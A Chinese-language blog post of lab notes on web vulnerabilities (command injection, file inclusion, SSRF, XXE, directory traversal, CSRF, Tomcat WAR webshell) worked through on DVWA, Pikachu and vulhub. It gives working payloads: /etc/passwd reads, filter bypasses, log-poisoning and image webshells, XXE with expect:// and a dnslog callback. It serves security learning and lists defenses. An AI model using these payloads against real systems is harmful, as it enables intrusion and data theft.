文件包含漏洞

277 阅读5分钟

[TOC]

远程命令执行漏洞

RCE概述

RCE英⽂全称:Remote Command/Code Execute,分为 远程命令执⾏(⽐如ping) 和 远程代码执⾏(⽐如eval)。

RCE漏洞,可以让攻击者直接向后台服务器远程注⼊操作系统命令或者代码,从⽽控制后台系统,这⼀过程也就是我们常说的Getshell。

远程命令执行

应⽤系统从设计上需要给⽤户提供指定的远程命令操作的接⼝。

Ping是Windows、Unix和Linux系统下的⼀个命令。ping也属于⼀个通信协议,是TCP/IP协议的⼀部分。利⽤“ping”命令可以检查⽹络是否连通,可以更好地帮助我们分析和判定⽹络故障。应⽤格式:ping + IP地址

远程代码执行

因为需求设计,后台有时候会把⽤户的输⼊作为代码的⼀部分进⾏执⾏,如果没有做好过滤或者过滤不严,可能会造成远程代码执⾏漏洞。

DVWA演示

Low

该处设置⼀个ping功能,输⼊⼀个IP地址即可以从服务器对该地址执⾏ping操作。

image-20250902203503499.png

源代码如下:

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

命令⾏的⼏种操作⽅式:

A && B: 先执⾏A,如果成功,执⾏B

A || B: 先执⾏A,如果失败,执⾏B

A | B:  管道符,先执⾏A后,将A的结果作为B的输⼊,打印的是B的结果

A & B:  先执⾏A,然后不管成功与否,执⾏B(等同于“;”)

输⼊框中填⼊

127.0.0.1 & ls

这些内容都会作为target参数传⼊服务器从⽽拼接出整个系统命令并执⾏。

效果如下:

image-20250902203844255.png

Medium

Medium只对 && 与 ; 两种符号进⾏过滤,所以⽤其他的 & 、 | 、 || 同样可以进⾏攻击。

源代码如下:

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );                     //过滤 && 和 ;

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

image-20250902204557864.png

High

对于High,它对可能造成攻击的符号都进⾏了过滤操作,但是在对 | 进⾏过滤的时候,多了⼀个空 格。

源代码如下:

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);

    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',         //多了个空格
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

输入

127.0.0.1 |cat /etc/passwd

image-20250902204921453.png


文件包含漏洞

原理

程序开发⼈员⼀般会把重复使⽤的函数写到单个⽂件中,需要使⽤某个函数时直接调⽤此⽂件,⽽⽆需再次编写,这种⽂件调⽤的过程⼀般被称为⽂件包含。程序开发⼈员⼀般希望代码更灵活,所以将被包含的⽂件设置为变量,⽤来进⾏动态调⽤,但正是由于这种灵活性,从⽽导致客户端可以调⽤恶意⽂件,造成⽂件包含漏洞。

在通过PHP函数引⼊⽂件时,由于传⼊的⽂件名没有经过合理的校验,操作了预想之外的⽂件,从⽽导致意外的⽂件泄露甚⾄恶意代码注⼊。

分类

1. 本地文件包含

  1. 只能包含本地服务器上存在的⽂件。
  2. ⽤户对输⼊可控且⽆过滤
  3. 可以利⽤相对路径或绝对路径读取系统敏感⽂件

2. 远程文件包含

包含远程服务器上的⽂件。 需要php.ini开启了allow_url_fopen和allow_url_include的配置。包含的⽂件是第三⽅服务器(⽐如:攻击者搭建的⼀台Web服务器)的⽂件。

  1. allow_url_fopen=On(默认为On)规定是否允许从远程服务器或者⽹站检索数据
  2. allow_url_include=On(php5.2之后默认为Off)规定是否允许include/require远程⽂件

本地⽂件包含与远程⽂件包含有着相同的原理,但前者只能包含本地服务器上存在的⽂件,⽽后者可以包含远程服务器上的⽂件。

常见文件包含函数

require()
include()

require_once()
include_once()

nclude和require区别主要是,include在包含的过程中如果出现错误,会抛出⼀个警告,程序继续正常运⾏;⽽require函数出现错误的时候,会直接报错并退出程序的执⾏。

⽽include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含⼀次。适⽤于在脚本执⾏期间同⼀个⽂件有可能被包含超过⼀次的情况,想确保它只被包含⼀次以避免函数重定义、变量重新赋值等问题。

发现漏洞

URL中如果出现了如下内容就可能存在⽂件包含漏洞

?page=
?file=
?home=
常见的敏感信息路径

Windows系统:

c:\boot.ini //查看系统版本
c:\windows\repair\sam //存储windows系统初次安装的密码
c:\programFiles\mysql\my.ini //MySQL配置⽂件,内置root密码
c:\windows\php.ini //PHP配置⽂件
c:\windows\system32\inetsrc\MetaBase.xml //IIS配置⽂件

Linux/Unix系统:

/etc/shadow //账户密码⽂件
/usr/local/app/apache2/conf/httpd.conf //Apache2默认配置⽂件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟⽹站配置
/usr/local/app/php5/lib/php.ini //PHP配置⽂件
/etc/httpd/conf/httpd.conf //Apache配置⽂件
/etc/my.cnf //MySQL配置⽂件
方法
  1. 观察URL链接是否包括以下类似的关键字:page/include/path/file/link/url等,如果有,则可能存 在⽂件包含漏洞;
  2. 观察在URL中,出现的赋值参数等号后的内容是否为⼀个⽂件,如果是,则可能存在⽂件包含漏洞;
  3. 在关键字处或明显被⽂件赋值的参数处,尝试进⾏赋值,如:www.baidu.com;或系统常⻅⽂件,如:/etc/passwd(…
  4. 配合⽂件上传漏洞进⾏验证

DVWA演示

(由于linux的docker无法修改容器内php.in文件,所以采用本地文件包含)

image-20250902211732770.png

Low

源码分析得出:直接通过GET⽅法去传递page参数进⾏⽂件包含,没有任何过滤。

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?> 

尝试获取服务器上的⽂件内容,输⼊../../../../../../(多少个../都⾏,越多越好)etc/passwd,

../ 返回上级⽬录,当返回到根⽬录时再../还是根⽬录,然后直接访问Linux系统的passwd⽂件。

image-20250902212059581.png

image-20250902212120979.png

也可以尝试包含php.ini,可以看到,现在的⻚⾯是在 vulnerabilities/fi/file1.php,如果想要访问php.ini 需要回退两次,可以输⼊../../php.ini

image-20250902212540243.png

Medium

源代码如下:

<?php
// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?> 

Medium级别的代码增加了str_replace函数,对page参数进⾏了⼀定的过滤,将“http://”、“https://”、 “ ../”、“..\”替换为空字符。但str_replace函数并不是很安全,双写就可以绕过了。

..././..././..././..././..././etc/passwd

image-20250902213724880.png

⽽且” ../”、”..\”替换为空字符,那么对于绝对路径来讲,是不受任何影响的。

image-20250902213859341.png

High

源代码如下:

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {   //这⾥⽤了fnmatch函数
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?> 

可以看到,这⾥⽤了fnmatch函数。

fnmatch() 函数根据指定的模式来匹配⽂件名或字符串 语法:

fnmatch(pattern,string,flags)
pattern 必需。规定要检索的模式。
string  必需。规定要检查的字符串或⽂件。
flags 可选。

限制了page参数的开头必须是file或者include.php,可以⽤file://协议进⾏⽂件读取从⽽实现绕过

file:///etc/passwd

image-20250902214509661.png

Impossible

源代码如下:

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?> 

⽩名单⽅式,⽂件名写死了,其他⽂件都不可能包含。

文件包含getshell

1. 中间件日志包含绕过

DVWA中,apache2⽇志⽂件路径为: /var/log/apache2/access.log 包含⽇志⽂件,需要先对⽇志⽂件和⽬录添加权限,让Web端有权限去访问:

root@c1f28c3146d7:/var/log# chmod 755 /var/log/apache2
root@c1f28c3146d7:/var/log/apache2# chmod 644 access.log

image-20250902215429404.png 修改完权限之后,访问

http://127.0.0.1:8080/vulnerabilities/fi/?page=<?php phpinfo();?>
http://127.0.0.1:8080/vulnerabilities/fi/?page=/var/log/apache2/access.log

用 burp 抓包,因为浏览器会进⾏url编码,发送到重放器进⾏修改,将编码字符改为原字符。

image-20250902215649286.png

image-20250902220217344.png

这一步我遇到了包含日志失败的问题

解决方法如下:

  1. 首先我遇到了浏览器500报错,因为无法远程文件包含,所以转用kali的浏览器排除这个可能的问题
  2. 转用kali的浏览器尝试时遇到了界面空白的问题,所以我进入容器,排查是否是php编码错误,
  3. 排查发现编码无错误、路径无错误、权限无错误后,还是有这个问题
  4. 我把错误日志发给了AI,AI指出是日志文件污染的问题
  5. 在AI的指引下,我清空了日志,重发php测试代码,重新修改权限,最后问题解决了

image-20250902230104219.png

配合文件上传Getshell

攻击思路:

  1. 把代码+图⽚合在⼀起,最终看到还是⼀个图⽚,只是这个图⽚中有代码
  2. 上传⼀个含有php代码的jpg图⽚
  3. 以⽂件包含漏洞来执⾏图⽚的php代码 直接在 File Upload 模块上传 muma.jpg ,上传成功,获得上传路径

image-20250902230711312.png

image-20250902230751255.png

由于⽂件包含需要登录DVWA ,在未登录的状态下,会导致连接不成功,可以直接把已经登录的 Cookie 信息在编辑 shell 配置添加到 Header 头⾥,这样就可以了

image-20250902230941758.png

image-20250902231848085.png

image-20250902231916689.png


ssrf 漏洞

漏洞简介

SSRF(Server-Side Request Forgery:服务端请求伪造)是由攻击者构造形成,由服务端发起请求的⼀种安全漏洞。⼀般情况下,SSRF攻击的⽬标是从外⽹⽆法访问的内部系统。正是因为它是由服务端发起的,所以它能够访问到与它相连⽽与外⽹隔离的内部系统。

漏洞原理

⼤多是由于服务端提供了从其他服务器应⽤获取数据的功能,但⼜没有对⽬标地址做严格过滤与限制,导致攻击者可以控制后端服务器对传⼊的任意地址发送请求,并返回对该⽬标请求的响应。

漏洞危害

(1)扫描内⽹开放服务 (2)向内部任意主机的任意端⼝发送payload来攻击内⽹服务 (3)DOS攻击(请求⼤⽂件,始终保持连接Keep-Alive Always) (4)攻击内⽹的Web应⽤,例如直接SQL注⼊、XSS攻击等 (5)利⽤file、gopher、dict协议读取本地⽂件、执⾏命令等

漏洞检测与绕过

漏洞检测

假设⼀个漏洞场景:某⽹站有⼀个在线加载功能可以把指定的远程图⽚加载到本地

http://www.aaa.com/load.php?image=http://www.bbb.com/1.jpg

那么⽹站请求的⼤致步骤如下: ⽤户输⼊图⽚地址->请求发送到服务端解析->服务端请求链接地址的图⽚数据->获取请求的数据加载到前端显示。

这个过程中可能出现问题的点就在于访问请求发送到服务端的时候,图⽚加载请求是由服务端去加载的,⽽系统没有校验前端给定的参数是不是允许访问的地址域名,例如,上述链接可以修改为:

http://www.xxx.com/load.php?image=http://127.0.0.1:22
http://www.xxx.com/load.php?image=file:///etc/passwd
http://www.xxx.com/load.php?image=dict://127.0.0.1:22/data:data2 (dict可以向服务端⼝请求data data2)
http://www.xxx.com/load.php?image=gopher://127.0.0.1:2233/_test (向2233端⼝发送数据test,同样可以发送POST请求)
......

判断SSRF漏洞是否存在的重要前提是:请求⼀定是服务端发起的,以上链接即使存在也不⼀定代表这个 请求是服务端发起的。因此前提不满⾜的情况下,不需要考虑SSRF。

漏洞出现点

  1. 分享

    通过URL参数的获取来实现点击链接的时候跳转到指定的分享⽂章。如果在此功能中没有对⽬标地址的范围做过滤与限制,则可能存在SSRF漏洞。 share.magedu.com/index.php?u…

  2. 图⽚加载与下载

    图⽚加载存在于很多编辑器中,编辑器上传图⽚处,有的是加载本地图⽚到服务器内,也有的是采⽤加载远程图⽚的形式,向远程图⽚所在的服务器发起请求,如果没对加载的参数做限制则可能造成SSRF漏 洞。 image.magedu.com/image.php?i…

  3. 图⽚、⽂章收藏功能

    例如title参数是⽂章的标题地址,代表了⼀个⽂章的地址链接,请求后返回⽂章是否保存、收藏等返回信息。如果保存、收藏功能采⽤了此种形式保存⽂章,在没有限制参数的情况下,可能存在SSRF漏洞。 title.magedu.com/title?title…

  4. 利⽤参数中的关键字来查找利⽤参数中的关键字来查找

    share
    wap
    url
    link
    src
    source
    target
    display
    sourceURl
    imageURL
    domain
    

漏洞绕过

场景1:限制为 www.xxx.com 域名 可以尝试采⽤http基本身份认证的⽅式绕过,通过添加@来构造URL: www.aaa.com@www.bbb.com。在对@解析域名时,不同处理函数存在处理差异,例如: www.aaa.com@www.bbb.com@www.ccc.com,在PHP的parse_url中会识别www.ccc.com, ⽽libcurl则识别为www.bbb.com。

场景2:限制请求IP不为内⽹地址 即限制访问所有内⽹IP,可采⽤短⽹址绕过,suo.run/。

也可以使⽤在线进制转换, 127转换16进制为7f,系统中表示16进制前⾯要加0x,8进制前加0。

www.sojson.com/hexconvert.…

image-20250902234527856.png

image-20250902235031112.png

场景3:限制请求只为http协议 采⽤302跳转,百度短地址,或者使⽤短地址⽣成

场景4:利⽤句号绕过

127。0。0。1 >>> 127.0.0.1

其他绕过形式可以查看:www.secpulse.com/archives/65…

漏洞发现

SSRF漏洞有⼀个⽐较麻烦的地⽅在于:作为测试⼈员,有时候仅从URL的表现形式并不能判断是客户端还是服务端发起的请求。如果能接触到内⽹服务器,可以根据源IP来判断是请求⽅是客户端还是服务端,但很多情况下,测试⼈员并不具备条件接触内⽹服务器。

  1. 观察URL中是否有share、url、image等关键字

  2. ⽣成⼀个域名⽤于SSRF漏洞测试,看漏洞服务器是否发起DNS 解析请求,若成功访问在DNSLog.cn 上就会有解析⽇志。

image-20250902235618472.png

image-20250902235608767.png

  1. 抓包分析发送的请求是不是由服务端发送的,如果不是客户端发出的请求,则有可能是,接着找存在HTTP服务的内⽹地址尝试发起访问。

  2. 访问⽇志检查

Pikachu演示

打开Pikachu靶场

docker run -d -p 8000:80 area39/pikachu

image-20250903000402128.png

观察URL,发现它传递了⼀个URL给后台

image-20250903000448923.png

我们可以把URL中的内容改为百度

image-20250903000604384.png

还可以利⽤file协议读取本地⽂件

http://127.0.0.1:8000/vul/ssrf/ssrf_curl.php?url=file:///etc/passwd

image-20250903000719027.png

SSRF(file_get_content)

file_get_contents() 函数的作⽤是把整个⽂件读⼊⼀个字符串中。 php://filter:可以在访问数据流之前进⾏「过滤」,并指定过滤⽅式,⽤于对来⾃⾮安全来源的数据(⽐如⽤户输⼊)进⾏验证和过滤。

file_get_contents⾥⾯带有 php://filter 我们可以它来读取php源码,所以构造URL:

http://127.0.0.1/vul/ssrf/ssrf_fgc.php?file=php://filter/resource=ssrf.php

直接使⽤ resource 指定 ssrf.php ⽂件,可以看到访问成功

image-20250903002153340.png

但是php⽂件被解析了,我们希望拿到⽹站的源代码,那么需要对代码做⼀层编码,不让它解析,拿到之后我们再进⾏解码,这样就拿到了⽹站的源代码:在read参数中加⼊ convert.base64-encode

http://127.0.0.1/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base6
4-encode/resource=ssrf.php

image-20250903002313997.png

解码可得:base64.us/

image-20250903002520472.png

image-20250903002553350.png

漏洞修复

  1. 设置URL⽩名单或者内⽹IP⿊名单。
  2. 过滤返回信息,验证远程服务器对请求的响应。如果Web应⽤是去获取某⼀类型的⽂件,那么在将返回结果展示给⽤户之前先验证返回的信息是否合法。
  3. 禁⽤不需要的协议,仅仅允许http和https请求,可以防⽌类似于file://、gopher://、ftp:// 等引起的问题。

xxe 漏洞

漏洞简介

XXE:XML External Entity attack(外部实体注⼊攻击)。由于程序在解析输⼊的XML数据时,没有进充分过滤,解析了攻击者伪造的外部实体⽽产⽣的漏洞。

例如PHP中的simplexml_load默认情况下会解析外部实体,有XXE漏洞的标志性函数是 simplexml_load_string()

XML外部实体

XML是⽤于标记电⼦⽂件使其具有结构性的标记语⾔,可以⽤来标记数据、定义数据类型,是⼀种允许⽤户对⼰的标记语⾔进⾏定义的源语⾔。XML⽂档结构包括XML声明、DTD(⽂档类型定义)、⽂档元素。

[DTD-实体]:

XML ⽂档声明,在⽂档的第⼀⾏
XML ⽂档类型定义(DTD),这⾥也是XXE漏洞所在的地⽅
XML ⽂档元素

image-20250903103848629.png

DTD(⽂档类型定义)的作⽤是定义XML ⽂档的合法构建模块。DTD 可以在 XML ⽂档内声明,也可以外部引⽤。XML⽂档类型的声明如下:

内部声明DTD <!DOCTYPE 根元素[元素声明]>
举例:如上图
外部引⽤DTD <!DOCTYPE 根元素SYSTEM "⽂件名">
举例:<!DOCTYPE 根元素SYSTEM "Note.dtd"> 或者<!DOCTYPE 根元素PUBLIC "public_ID" "⽂件名">

DTD实体是⽤于定义引⽤普通⽂本或特殊字符的快捷⽅式的变量,因为DTD(⽂档类型定义)分为内部声明和外部引⽤两种利⽤⽅式,所以DTD实体⼜可以分成内部声明实体和外部引⽤实体。

内部声明实体<!DOCTYPE 实体名称"实体的值">
引⽤外部实体<!DOCTYPE 实体名称SYSTEM "URL"> 或者<!DOCTYPE 实体名称PUBLIC "public_ID" "URL">

漏洞危害

当允许引⽤外部实体时,通过构造恶意内容,可导致读取任意⽂件、执⾏系统命令、探测内⽹端⼝、攻击内⽹服务等危害。

读取任意文件

PHP中可以通过FILE协议、HTTP协议和FTP协议读取⽂件,还可利⽤PHP伪协议。

<?xml version="1.0"?>
<!DOCTYPE mage[
<!ENTITY f SYSTEM "file:///etc/passwd"> //FILE协议
]>
<hhh>&f;</hhh>

执行系统命令

这种情况很少发⽣,但在配置不当或者开发内部应⽤情况下(PHP expect模块被加载到了易受攻击的系 统或处理XML的内部应⽤程序上),攻击者能够通过XXE执⾏代码。

<?xml version="1.0"?>
<!DOCTYPE mage[
<!ENTITY f SYSTEM "expect://id">
]>
<hhh>&f;</hhh>

Pikachu演示

  1. 先输入一个合法的XML文档:

    <?xml version="1.0" encoding="UTF-8" ?>
    <!DOCTYPE note [
    <!ENTITY hack "magedu">
    ]>
    <name>&hack;</name>
    

    提交之后,发现成功解析了,说明⽹⻚对输⼊的XML数据是有结果回显的

image-20250903105237539.png

  1. 在服务端开启了DTD外部引⽤且没有对DTD实体进⾏过滤的情况下,可以利⽤DTD实体引⽤系统关键⽂件(引⽤外部实体):

    <?xml version="1.0"?>
    <!DOCTYPE ANY [
    <!ENTITY magedu SYSTEM "file:///etc/passwd">
    ]>
    <x>&magedu;</x>
    

image-20250903105425271.png 3. 用dnslog验证xxe漏洞是否存在

<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY magedu SYSTEM "http://r2qsg7.dnslog.cn/">
]>
<x>&magedu;</x>

image-20250903110108520.png

XXE的防御

禁用外部实体

//php:
libxml_disable_entity_loader(true);
//java:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
//Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

过滤用户提交数据

过滤:<!DOCTYPE 和 <!ENTITY,或者 SYSTEMPUBLIC

目录遍历漏洞

漏洞介绍

⽬录遍历(Directory traversal),也称⽂件路径遍历、⽬录穿越、路径穿越等。是由于⽹站本身存在配置缺陷,导致⽹站⽬录可以被任意浏览,从⽽使得攻击者可以访问到原本不具备权限访问的内容,造成信息泄露,为攻击者实施进⼀步的⽹络⼊侵提供帮助。

⽹站在实现上⼜没有过滤⽤户输⼊的⽬录跳转符,从⽽导致攻击者可以拼接路径来遍历服务器上的⽬录或者⽂件,造成⽬录遍历漏洞。

在⽂件名中添加 ..\

http://www.magedu.com/getfile=..\..\..\windows\win.ini

服务器再次处理传送过来的 ..\..\..\windows\win.ini ⽂件名,⾃动添加完整路径:

c://site/hack/..\..\..\windows\win.ini

读取到Windows操作系统的配置⽂件。

发现目录遍历漏洞

手工测试

可能存在⽬录遍历漏洞的业务场景:尝试寻找对服务器的⽂件有读取查看的功能点,⽐如⽂件上传和导⼊、⽂件下载和导出、⽂件删除、⽂件解压、加载图⽚等。

直接访问⽹站的各种⽬录(不加⽂件名和参数),如果以⾮HTML⽂件的形式显示了该⽬录下的⽂件或者⽬录信息,证明存在该漏洞。

image-20250903110849928.png

⾃动化扫描

主流Web漏洞扫描⼯具都⽀持⽬录遍历漏洞的⾃动化测试,如AWVS、DirBuster等。

漏洞绕过

绝对路径绕过

应⽤程序禁⽤了⽬录跳转符如 ../ ,直接换成绝对路径即可实现绕过。

../../../etc/passwd ===> /etc/passwd

双写绕过

应⽤程序通过正则匹配⽬录跳转符然后清除,但是仅清除⼀次,所以利⽤双写即可实现绕过。\

../../../etc/passwd ===> ..././..././..././etc/passwd

编码绕过

应⽤程序通过正则匹配斜杠 / 然后清除,可以对斜杠 / 进⾏URL编码变成 %2f ,避免被匹配到,即可实现绕过。但是这种绕过⽅法有使⽤前提,编码后的 %2f 到了后端会再进⾏⼀次解码,还原成斜杠 / 本身,从⽽达到⽬录遍历的效果。(这⾥只是以URL编码作为举例,其他编码也是同样的道理)

../../../etc/passwd ===> ..%2f..%2f..%2fetc%2fpasswd

加密参数绕过

应⽤程序对⽂件名加密后再提交,⽐如:downfile.php?filename=bWFnZWR1LmpwZw==,在参数filename使⽤base64加密,⽽攻击者想要绕过,只需要将构造好的路径⽂件进⾏base64加密后再附加提交即可。所以说应⽤程序采⽤⼀些有规律或者轻易识别的加密⽅式,也是存在⻛险的。

../../../etc/passwd ===> Li4vLi4vLi4vZXRjL3Bhc3N3ZA==

预期路径绕过

应⽤程序仅检测路径的开头部分是否预期路径(⽐如要求开头部分是 /var/www/html ),如果是预期路径则允许通过,此时可以利⽤ 起始预期路径+相对路径 的⽅法来实现绕过。

../../../etc/passwd ===> /var/www/html/../../../etc/passwd

00截断绕过

应⽤程序在读取前,会对提交的⽂件后缀名进⾏检测,可以通过在⽂件名后放⼀个空字节编码(%00)来绕过⽂件类型检查。

../../../etc/passwd ===> ../../../etc/passwd%00.jpg

CSRF漏洞

漏洞简介

跨站请求伪造(也称CSRF),是⼀种挟持⽤户在当前已登录的Web应⽤程序上执⾏⾮本意操作的攻击⽅法,允许攻击者诱导⽤户在不知情的情况下执⾏他们并不打算执⾏的操作。

当⽤户访问包含恶意代码的⽹⻚时,会向指定正常⽹站发送⾮本⼈意愿的请求数据包,如果此时⽤户恰好登录了该正常⽹站(也就是身份验证是正常的),就会以该⽤户的身份执⾏该恶意代码的请求,从⽽造成CSRF漏洞。

image-20250903112206819.png

要使 CSRF 攻击成为可能,必须具备三个关键条件:

  1. 应⽤程序中存在攻击者有可能诱导⽤户的操作

  2. 执⾏该操作涉及发出⼀个或多个HTTP 请求,并且应⽤程序仅依赖会话cookie 来识别发出请求的⽤户,没有其他机制可⽤于跟踪会话或验证⽤户请求。

  3. 没有不可预测的请求参数。

DVWA展示

安全等级设置成low

源码展示:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?查看密码是否相同
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

从源代码可以看出这⾥只是对⽤户输⼊的两个密码进⾏判断,看是否相等;不相等就提示密码不匹配。相等的话,查看设置数据库连接的全局变量和其是否为⼀个对象。如果是的话,⽤mysqli_real_escape_string() 函数去转义⼀些字符,再⽤MD5进⾏加密,更新数据库;如果不是的话输出错误。

知道了这些之后,我们尝试修改密码为password,可以看到修改成功。

image-20250903112745127.png

看到顶部的URL是:

http://192.168.184.130/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#

构造playload:

http://192.168.184.130/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#

成功跳转:

image-20250903112959774.png

但是,这样的payload,⼀般⼈都可以看出来存在陷阱,往往不会去点击,因此我们还需要进⼀步伪装,把它缩短。

image-20250903113305102.png

使用Burp生成CSRF利用POC

  1. 在 Burp Suite Professional 中的任意位置选择需要测试或利⽤的请求。
  2. 从右键单击上下⽂菜单中,选择参与⼯具/⽣成CSRF PoC。
  3. Burp Suite 将⽣成 HTML代码 来触发选定的请求。
  4. 可以调整 CSRF PoC ⽣成器中的各种选项,以微调攻击的各个⽅⾯。可能在⼀些不常⻅的情况下需要执⾏此操作以处理⼀些特殊的请求。
  5. 将⽣成的 HTML 复制到⽹⻚中,再登录到易受攻击⽹站的浏览器中查看,测试是否成功发出了预期的请求并实现所需的操作。

image-20250903114013065.png

选择⾃动包含脚本:

image-20250903114051462.png 复制html

image-20250903114333337.png

生成文件,用已经登陆网站的浏览器打开,模拟被攻击者点开网站。

漏洞防御

  1. 验证 HTTP Referer 字段
  2. 在请求地址中添加 token 并验证
  3. 添加验证码

tomcat 漏洞复现

Tomcat漏洞简介

Apache Tomcat 是⼀个开源的 Java Servlet 容器 和 Web 服务器,由 Apache 软件基⾦会开发。它是Java EE (现 Jakarta EE) 规范中 Servlet、JSP (JavaServer Pages) 和 WebSocket 技术的官⽅参考实现。 Tomcat 作为轻量级的 Java Web 服务器,因其简单易⽤、性能良好和开源免费的特点,成为 JavaWeb 开发中最受欢迎的应⽤服务器之⼀。

目录结构

tomcat/
├── bin/ # 启动/关闭脚本
├── conf/ # 配置⽂件
│ ├── server.xml # 主配置⽂件
│ ├── web.xml # 全局web应⽤配置
│ └── context.xml # 上下⽂配置
├── lib/ # 共享库
├── logs/ # ⽇志⽂件
├── temp/ # 临时⽂件
├── webapps/ # 应⽤部署⽬录
└── work/ # ⼯作⽬录(JSP编译结果等)

部署方式

将 WAR ⽂件放⼊ webapps/ ⽬录,Tomcat 会⾃动解压并部署。

复现环境

vulhub-master\tomcat\tomcat8

在 tomcat-users.xml ⽂件中配置⽤户的权限:

<tomcat-users>
<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<role rolename="manager-status"/>
<role rolename="admin-gui"/>
<role rolename="admin-script"/>
<user username="tomcat" password="tomcat" roles="manager-gui,manager-scrip
t,manager-jmx,manager-status,admin-gui,admin-script" />
</tomcat-users>

访问公共靶场:vulfocus.cn/#/dashboard

启动弱口令靶场

image-20250903123037356.png

打开tomcat管理⻚⾯ http://your-ip:8080/manager/html ,输⼊弱密码 tomcat:tomc at ,即可访问后台:(弱⼝令可以用burp进⾏爆破)

image-20250903123107022.png

image-20250903114743871.png

image-20250903123126942.png

写⼀个jsp的⽊⻢,然后打包成war包,上传的war会被⾃动解压部署,上传的位置在webapps⾥

image-20250903123431527.png

在文件夹中打开cmd,输入命令:

jar -cvf shell.war shell.jsp

image-20250903123907849.png

在管理界面中添加war,选中文件

image-20250903124009374.png

可以看到已经上传上去了,接着使⽤蚁剑连接后⻔

image-20250903124041713.png

image-20250903124245542.png

(注意文件路径,系统自动解压后如下图所示)

image-20250903124454925.png